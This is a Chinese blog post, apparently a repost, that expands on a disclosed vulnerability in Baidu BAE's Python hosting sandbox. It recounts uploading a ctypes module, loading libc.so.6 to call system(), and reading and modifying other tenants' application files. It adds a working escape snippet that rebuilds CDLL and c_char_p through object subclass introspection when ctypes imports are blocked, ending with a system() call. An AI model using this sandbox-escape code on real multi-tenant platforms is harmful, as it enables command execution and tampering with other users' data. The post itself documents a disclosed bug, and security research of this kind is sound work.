Python Hack 百度BAE系列2:系统命令执行 细节补充

    Python的强大灵活以及百度BAE的虚拟环境,对喜欢hacking的同学是个不错的尝试。于是就有了乌云漏洞平台的这个漏洞http://www.wooyun.org/bugs/wooyun-2010-020955?1503(url地址的编号好像有误,应该是2013年才对,bug?),其列出了简单过程:

  1. dir查看os,subprocess等模块,能执行命令的方法都被阉割了,import commands模块直接就是No module named commands。
  2. 上传自己本地的commands.py,能够import,不过执行系统命令不成功,是基于os模块的。虽然不成功,但打开了思路,只要上传相应的文件就能使用缺失的模块了。
  3. 执行so扩展会怎么样呐?ctypes模块不存在,果断上传自己本地的ctypes文件夹,成功import并能cdll。编译了一个so扩展上传,执行无结果并中断了程序,目测可能是编译环境和BAE的不一样。
  4. BAE服务器上的so扩展怎么样呐?加载/lib64/libc.so.6,执行system成功,于是便有了上面的shell。
  5. ls /home/bae/instanceall/instance1/codefs可看到其它用户的应用列表。尝试读取文件内容无压力,修改也无压力(测试修改了自己另外一php应用的文件,成功)。
    但有些小细节没说明白,可能有些同学没看懂,我就狗尾续貂,添加两点说明:
  1. 对于上传ctypes模块的方法,除了上传ctypes目录外,另得上传`_ctypes.*.so`的动态链接库,ctypes依赖此库。
  2. 对于加载`libc.so.6`,可能在不同Linux系统中路径不一样,可以通过如下搜索,
    In [1]: from ctypes.util import find_library
    In [2]: find_library('c')
    Out[2]: 'libc.so.6'
    In [3]: find_library('m')
    Out[3]: 'libm.so.6'
    # find_library()中的参数是库名,去掉前缀`lib`与后缀`so.*`
    # 然后直接以库名加载,无需绝对路径
    In [4]: from ctypes import *
    In [5]: libc = CDLL('libc.so.6')

    参考台湾魏澤人的研究,若环境已安装ctypes,只是不允许import ctypes,可以用以下曲线方法:

get = lambda x, n: [i for i in x if i.__name__ == n][0]
x = ().__class__.__base__.__subclasses__()
CDLL = get(x, 'CDLL')
CDATA = get(x, '_CData')
cx = CDATA.__subclasses__()
csx = get(cx, '_SimpleCData').__subclasses__()
c_char_p = get(csx, 'c_char_p')
c_int = get(csx, 'c_int')
libc = CDLL('libc.so.6')
system = libc.system
system.argtypes = [c_char_p]
system.restype = c_int
system('uname -a')

你可能感兴趣的:(Python Hack 百度BAE系列2:系统命令执行 细节补充)